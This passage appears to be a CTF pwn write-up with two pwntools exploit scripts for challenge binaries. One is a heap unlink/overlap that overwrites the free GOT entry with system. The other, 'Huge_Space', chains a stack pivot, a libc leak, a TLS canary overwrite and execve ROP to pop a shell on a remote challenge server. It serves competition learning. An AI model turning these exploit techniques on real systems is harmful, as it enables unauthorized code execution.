# 这里使用print会报错
# 交互时
# py2 <==> str = bytes
#addr=int(sh.recvuntil('\n',drop=True),base=16)
def add(index,size,data):
    success("########->add<-########")
    sl("add") # fgets
    sla("Index: ",str(index))
    sla("Size: ",str(size)) # scanf
    sa("Data: ",data+"\n") # gets
def delete(index):
    success("########->delete<-########")
    sl("remove") # fgets
    sla("Index: ",str(index)) # scanf
sys = 0x400896
#sh = process("./unlink")
sh = remote("123.57.69.203",5810)
#gdb.attach(sh,"b *0x400A78")
# malloc #
#gdb.attach(sh,"b *0x4009BD\n"+"b *0x400A8A\n"+"c\n"*(24) )
add(0,0x410,"aaaa")#fake_chunk)#0
add(1,0xe8,"bbbb")#1
add(2,0x4f0,"cccc")#2
add(3,0x60,"/bin/sh\x00dddd")#3
add(4,0x60,"/bin/sh\x00eeee")#4
delete(0)
#pause()
delete(1)
for i in range(6):
    add(1,0xe8-i,"b"*(0xe8-i))
    delete(1)
add(1,0xe8,"b"*0xe0+p64(0x510).decode('unicode_escape'))#1
delete(2) #合并chunk2+chunk1+chunk0
success("合并chunk")
delete(1)
fgets_got = elf.got["fgets"]#0x601050
free_got = elf.got["free"]#0x601018
system_plt = elf.plt["system"];system_got = elf.got["system"]
puts_plt = elf.plt["puts"]

add(0,0x10+0x410+0xe8,0x410*"a"+p64(0x420).decode('unicode_escape')+p64(0xf0).decode('unicode_escape')+p64(free_got).decode('unicode_escape'))#chunk0 + chunk1
add(5,0xe0,"/bin/sh\x00ffff")
add(6,0xe0,3*p64(system_plt+6).decode('unicode_escape'))
#add(6,0xe0,2*p64(0x400706)) #xxx
#add(6,0xe0,2*p64(sys))
raw_input()
sl("/bin/sh\x00")
#delete(5)
sh.interactive()

Huge_Space

开始 gets(magic)栈溢出add 功能有 堆溢出 ,可申请任意大小的 chunkcmd 命令可 输入 数据 过多 。程序只有 add 和print函数( size 可控,可 泄露 地址),还有一个后门 sh:system(buf)

通过 溢出栈,布置栈迁移 rop,然后 堆溢出 覆盖 topchunkfreeunsortedbin ,申请出来泄露 libc,然后申请大内存,溢出覆盖 tls 结构的 canary 输入 cmd ,在 cmd 后面构造调用 execveropexit 返回到 main 函数,绕过canary,栈迁移到 bss ,调用 ececve

# -*- coding: UTF-8 -*-
from pwn import * 

context.log_level = 'debug'
context.terminal = ["/bin/tmux","sp","-h"]

io = remote('123.57.69.203',5330 )
# libc = ELF('./libc-2.31.so')
# io = process('./Huge_Space')
libc = ELF('./libc.so.6')
elf = ELF('./Huge_Space')

l64 = lambda      :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda	a=False		: io.recvline(a)
ru = lambda a,b=True	: io.recvuntil(a,b)
rn = lambda x			: io.recvn(x)
sn = lambda x			: io.send(x)
sl = lambda x			: io.sendline(x)
sa = lambda a,b			: io.sendafter(a,b)
sla = lambda a,b		: io.sendlineafter(a,b)
irt = lambda			: io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
lg = lambda s			: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data		: u32(data.ljust(4, '\x00'))
uu64 = lambda data		: u64(data.ljust(8, '\x00'))
ur64 = lambda data		: u64(data.rjust(8, '\x00'))


def add(idx,size,content):
	sl('+++')
	sla('Index:',str(idx))
	sla('Size: ',str(size))
	sla('Data: ',content)
def show(idx,size):
	sl('print')
	sla('Index:',str(idx))
	sla('Size: ',str(size))


pop_rdi = 0x0000000000400be3
pop_rsi_r15 = 0x0000000000400be1
pop_rdx = 0x0000000000001b96
pop_rbp = 0x0000000000400860
leaveret = 0x40090F
sh = 0x400909
writee = 0x400B19
# dbg()
sl('\x00'*(8*9)+p64(pop_rbp)+p64(0x6010c0+0x10)+p64(leaveret))
add(0,0x10,'A'*0x10+p64(0)+p64(0xd81))#0
add(1,0x1000,'B')#1
add(1,0xd50,'')#1
# add(2,0x1fa0,'')#2
show(1,0x20)
# show(2,0x20)

# irt()
libcbase = l64() - 0x3ebc00
lg('libcbase')
execve = libcbase + libc.symbols['execve']
lg('execve')

sl('666')
# dbg()
add(3,0x22000,'\x00'*(0x24518+16*8)+'\x00'*8)#3 local 0x24828 8273

sl('exit\x00\x00\x00\x00/bin/sh\x00'+p64(pop_rdi)*2+p64(0x6010c0+8)+p64(pop_rsi_r15)+p64(0)*2+p64(pop_rdx+libcbase)+p64(0)+p64(execve))

irt()